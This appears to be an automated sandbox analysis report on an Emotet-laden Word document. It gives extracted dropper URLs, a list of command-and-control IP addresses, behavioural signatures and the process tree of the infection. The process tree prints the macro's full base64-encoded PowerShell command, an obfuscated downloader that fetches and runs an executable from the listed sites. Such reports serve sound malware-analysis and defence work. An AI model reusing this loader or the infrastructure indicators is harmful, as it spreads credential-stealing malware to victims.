Analysis

  • max time kernel
    142s
  • max time network
    146s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    02/09/2020, 15:29

General

  • Target
    emotet_e1_40c72ffaf4f9dd7110c540bdf054e2b25a82abe5694c40c876fbb159ece20258_2020-09-02__152830._doc.doc
  • Size 187KB
  • Sample200902-2pl7vsnk5j
  • SHA256 40c72ffaf4f9dd7110c540bdf054e2b25a82abe5694c40c876fbb159ece20258
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://fortcollinsathletefactory.com/wp-admin/i/

  • exe.dropper

    http://getming.com/forum/p/

  • exe.dropper

    http://gaffa-music.com/cgi-bin/UM/

  • exe.dropper

    http://frankfurtelfarolillo.com/laseu/c7/

  • exe.dropper

    http://evilnerd.org/cgi-bin/nUi/

  • exe.dropper

    http://gapesmm.org/old/M/

  • exe.dropper

    http://grml.net/wp/C/

Extracted

Family
  • emotet

C2
  • 50.121.220.50:80

  • 51.75.33.122:80

  • 54.37.42.48:8080

  • 91.121.54.71:8080

  • 45.16.226.117:443

  • 68.69.155.181:80

  • 213.60.96.117:80

  • 77.55.211.77:8080

  • 152.169.22.67:80

  • 110.142.219.51:80

  • 2.47.112.152:80

  • 206.15.68.237:443

  • 217.13.106.14:8080

  • 191.99.160.58:80

  • 189.131.57.131:80

  • 213.197.182.158:8080

  • 94.176.234.118:443

  • 61.92.159.208:8080

  • 190.128.173.10:80

  • 219.92.8.17:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 8 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Drops file in Windows directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_40c72ffaf4f9dd7110c540bdf054e2b25a82abe5694c40c876fbb159ece20258_2020-09-02__152830._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3940
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
    1⤵
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Suspicious use of AdjustPrivilegeToken
    PID:820
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABNADYAaABxADkAcAA1AD0AKAAoACcAUQAnACsAJwB0AHgAJwApACsAKAAnAGQAegBzACcAKwAnAGgAJwApACkAOwAuACgAJwBuAGUAdwAnACsAJwAtAGkAdABlACcAKwAnAG0AJwApACAAJABlAE4AVgA6AHUAcwBlAFIAcABSAE8AZgBJAEwAZQBcAHMAcQBQAGcARABmAGkAXABkAFEASwBHAHAAdwBDAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQByAEUAYwB0AG8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBgAGMAVQBSAGkAYABUAFkAUAByAG8AdABgAE8AQwBPAEwAIgAgAD0AIAAoACgAJwB0AGwAJwArACcAcwAxADIALAAnACsAJwAgACcAKQArACcAdAAnACsAKAAnAGwAcwAnACsAJwAxACcAKQArACgAJwAxACwAJwArACcAIAB0AGwAcwAnACkAKQA7ACQAUQBmAGkAZgBvAHYANwAgAD0AIAAoACgAJwBFACcAKwAnADIAOQAzADcAJwApACsAJwBhACcAKwAnADQAeQAnACkAOwAkAEUAZABnAHYAMwA4AGIAPQAoACgAJwBNAHkAdQAnACsAJwBuACcAKQArACcAcQAnACsAJwB3AGwAJwApADsAJABWAGwAeABpAHcANgA5AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHkAJwArACcAQQBwACcAKwAnAFMAJwArACgAJwBxACcAKwAnAHAAZwBkACcAKQArACgAJwBmAGkAeQBBACcAKwAnAHAARAAnACkAKwAnAHEAJwArACgAJwBrACcAKwAnAGcAcAB3AGMAeQBBACcAKQArACcAcAAnACkALQBDAFIARQBwAGwAYQBDAEUAIAAoACcAeQBBACcAKwAnAHAAJwApACwAWwBjAEgAQQBSAF0AOQAyACkAKwAkAFEAZgBpAGYAbwB2ADcAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAFUAdAB1AHQAZQAzAHcAPQAoACgAJwBTAF8AJwArACcAegB5AGsAJwApACsAJwA3AHIAJwApADsAJABCAHkAMQBiADIAdgB4AD0AJgAoACcAbgAnACsAJwBlACcAKwAnAHcALQBvAGIAagBlAGMAdAAnACkAIABuAGUAVAAuAHcARQBiAGMATABpAEUATgB0ADsAJABNAHYANQBrAGkAOAB5AD0AKAAoACcAaAAnACsAJwB0AHQAcAAnACsAJwA6AC8AJwApACsAJwAvACcAKwAoACcAZgBvAHIAdAAnACsAJwBjACcAKQArACgAJwBvAGwAbAAnACsAJwBpAG4AJwApACsAKAAnAHMAYQAnACsAJwB0AGgAbAAnACkAKwAoACcAZQAnACsAJwB0AGUAZgAnACkAKwAnAGEAYwAnACsAJwB0ACcAKwAnAG8AJwArACcAcgB5ACcAKwAnAC4AYwAnACsAJwBvAG0AJwArACgAJwAvAHcAcAAtAGEAJwArACcAZABtACcAKwAnAGkAbgAnACsAJwAvAGkALwAnACkAKwAoACcAKgBoACcAKwAnAHQAdAAnACkAKwAnAHAAOgAnACsAJwAvACcAKwAnAC8AJwArACcAZwAnACsAJwBlAHQAJwArACcAbQAnACsAKAAnAGkAJwArACcAbgBnAC4AYwAnACkAKwAnAG8AbQAnACsAJwAvACcAKwAnAGYAbwAnACsAJwByAHUAJwArACcAbQAvACcAKwAoACcAcAAnACsAJwAvACoAaAAnACkAKwAnAHQAJwArACgAJwB0AHAAOgAvAC8AJwArACcAZwAnACkAKwAnAGEAZgAnACsAJwBmACcAKwAoACcAYQAtACcAKwAnAG0AdQAnACkAKwAoACcAcwAnACsAJwBpAGMALgAnACkAKwAoACcAYwBvACcAKwAnAG0ALwBjACcAKQArACgAJwBnAGkALQAnACsAJwBiAGkAJwApACsAJwBuACcAKwAnAC8AJwArACgAJwBVAE0AJwArACcALwAnACkAKwAoACcAKgBoAHQAdAAnACsAJwBwACcAKQArACcAOgAvACcAKwAnAC8AZgAnACsAKAAnAHIAYQBuACcAKwAnAGsAJwArACcAZgB1AHIAJwApACsAJwB0AGUAJwArACgAJwBsAGYAJwArACcAYQAnACkAKwAoACcAcgAnACsAJwBvAGwAJwArACcAaQAnACsAJwBsAGwAbwAnACsAJwAuAGMAbwBtAC8AbABhAHMAJwApACsAKAAnAGUAJwArACcAdQAvAGMANwAnACsAJwAvACcAKQArACcAKgAnACsAKAAnAGgAdAB0ACcAKwAnAHAAJwArACcAOgAvAC8AZQB2AGkAbABuAGUAcgBkACcAKQArACcALgBvACcAKwAnAHIAZwAnACsAKAAnAC8AYwBnAGkALQAnACsAJwBiACcAKQArACgAJwBpAG4AJwArACcALwBuAFUAJwApACsAKAAnAGkAJwArACcALwAqAGgAJwApACsAJwB0ACcAKwAnAHQAJwArACgAJwBwACcAKwAnADoALwAnACkAKwAoACcALwBnAGEAJwArACcAcAAnACkAKwAnAGUAJwArACcAcwBtACcAKwAoACcAbQAuAG8AcgAnACsAJwBnAC8AbwAnACkAKwAoACcAbAAnACsAJwBkAC8AJwArACcATQAvACoAaAB0ACcAKQArACcAdABwACcAKwAnADoALwAnACsAKAAnAC8AJwArACcAZwByACcAKQArACgAJwBtACcAKwAnAGwAJwArACcALgBuAGUAdAAnACkAKwAoACcALwB3ACcAKwAnAHAAJwApACsAKAAnAC8AQwAnACsAJwAvACcAKQApAC4AIgBzAFAATABgAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAE8AbgAzAGwAeQBjADcAPQAoACgAJwBQACcAKwAnAGEAaAAnACkAKwAnADYAeQAnACsAJwBoADEAJwApADsAZgBvAHIAZQBhAGMAaAAoACQARABjAGsAeQBpAGwAZwAgAGkAbgAgACQATQB2ADUAawBpADgAeQApAHsAdAByAHkAewAkAEIAeQAxAGIAMgB2AHgALgAiAGQATwBXAGAATgBgAEwAbwBhAGQAZgBJAGwARQAiACgAJABEAGMAawB5AGkAbABnACwAIAAkAFYAbAB4AGkAdwA2ADkAKQA7ACQAUQBmAGQAcwBpAGYAMAA9ACgAKAAnAE0AJwArACcAMAA2ACcAKQArACcAMwBpACcAKwAnAG4ANAAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAVgBsAHgAaQB3ADYAOQApAC4AIgBsAEUATgBgAGcAdABoACIAIAAtAGcAZQAgADMAMgAyADUANAApACAAewAmACgAJwBJAG4AdgBvACcAKwAnAGsAJwArACcAZQAnACsAJwAtAEkAdABlAG0AJwApACgAJABWAGwAeABpAHcANgA5ACkAOwAkAE4ANQBkADYAXwAwAHoAPQAoACgAJwBZADgAJwArACcAZQAnACkAKwAnAHYAJwArACgAJwAyAHUAJwArACcAdAAnACkAKQA7AGIAcgBlAGEAawA7ACQATwBiAGYAMwAwADUAbwA9ACgAKAAnAEoANQAxACcAKwAnAGkAJwApACsAJwBkACcAKwAnAG8AaQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFAAeQBmAG4AeABrAHgAPQAoACgAJwBLADYAawBpADUAJwArACcANQAnACkAKwAnADIAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:68
    • C:\Users\Admin\Sqpgdfi\Dqkgpwc\E2937a4y.exe
      "C:\Users\Admin\Sqpgdfi\Dqkgpwc\E2937a4y.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1300
      • C:\Windows\SysWOW64\SMBHelperClass\dmsynth.exe
        "C:\Windows\SysWOW64\SMBHelperClass\dmsynth.exe"
        3⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:2192
        • C:\Windows\SysWOW64\SMBHelperClass\dmsynth.exe
          "C:\Windows\SysWOW64\SMBHelperClass\dmsynth.exe" /scomma "C:\Users\Admin\AppData\Local\Temp\E715.tmp"
          4⤵
          • Executes dropped EXE
          PID:692
        • C:\Windows\SysWOW64\SMBHelperClass\dmsynth.exe
          "C:\Windows\SysWOW64\SMBHelperClass\dmsynth.exe" "C:\Users\Admin\AppData\Local\Temp\E84E.tmp"
          4⤵
          • Executes dropped EXE
          PID:1000
        • C:\Windows\SysWOW64\SMBHelperClass\dmsynthseed.exe
          "C:\Windows\SysWOW64\SMBHelperClass\dmsynthseed.exe" "C:\Users\Admin\AppData\Local\Temp\E84E.tmp"
          4⤵
          • Executes dropped EXE
          PID:2760
        • C:\Windows\SysWOW64\SMBHelperClass\dmsynth.exe
          "C:\Windows\SysWOW64\SMBHelperClass\dmsynth.exe" /scomma "C:\Users\Admin\AppData\Local\Temp\E9C6.tmp"
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          PID:1468
        • C:\Windows\SysWOW64\SMBHelperClass\dmsynth.exe
          "C:\Windows\SysWOW64\SMBHelperClass\dmsynth.exe" "C:\Users\Admin\AppData\Local\Temp\EC0A.tmp"
          4⤵
          • Executes dropped EXE
          PID:3900
        • C:\Windows\SysWOW64\SMBHelperClass\dmsynthpeer.exe
          "C:\Windows\SysWOW64\SMBHelperClass\dmsynthpeer.exe" "C:\Users\Admin\AppData\Local\Temp\EC0A.tmp"
          4⤵
          • Executes dropped EXE
          PID:2240

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/68-11-0x00000267DF470000-0x00000267DF471000-memory.dmp

        memory/68-10-0x00000267DF2C0000-0x00000267DF2C1000-memory.dmp

        memory/68-9-0x00007FFB4AB70000-0x00007FFB4B55C000-memory.dmp

        memory/692-22-0x0000000000400000-0x000000000041C000-memory.dmp

        memory/692-19-0x0000000000400000-0x000000000041C000-memory.dmp

        memory/1000-23-0x0000000000400000-0x0000000000417000-memory.dmp

        memory/1000-26-0x0000000000400000-0x0000000000417000-memory.dmp

        memory/1300-15-0x00000000001F0000-0x00000000001FC000-memory.dmp

        memory/1468-34-0x0000000000400000-0x000000000045C000-memory.dmp

        memory/1468-31-0x0000000000400000-0x000000000045C000-memory.dmp

        memory/2192-18-0x0000000000610000-0x000000000061C000-memory.dmp

        memory/2240-39-0x0000000140000000-0x000000014001D000-memory.dmp

        memory/2240-42-0x0000000140000000-0x000000014001D000-memory.dmp

        memory/2760-30-0x0000000140000000-0x000000014001C000-memory.dmp

        memory/2760-27-0x0000000140000000-0x000000014001C000-memory.dmp

        memory/3900-35-0x0000000000400000-0x0000000000417000-memory.dmp

        memory/3900-38-0x0000000000400000-0x0000000000417000-memory.dmp

        memory/3940-0-0x00007FFB52800000-0x00007FFB52EC6000-memory.dmp

        memory/3940-5-0x000001ECEFB16000-0x000001ECEFB46000-memory.dmp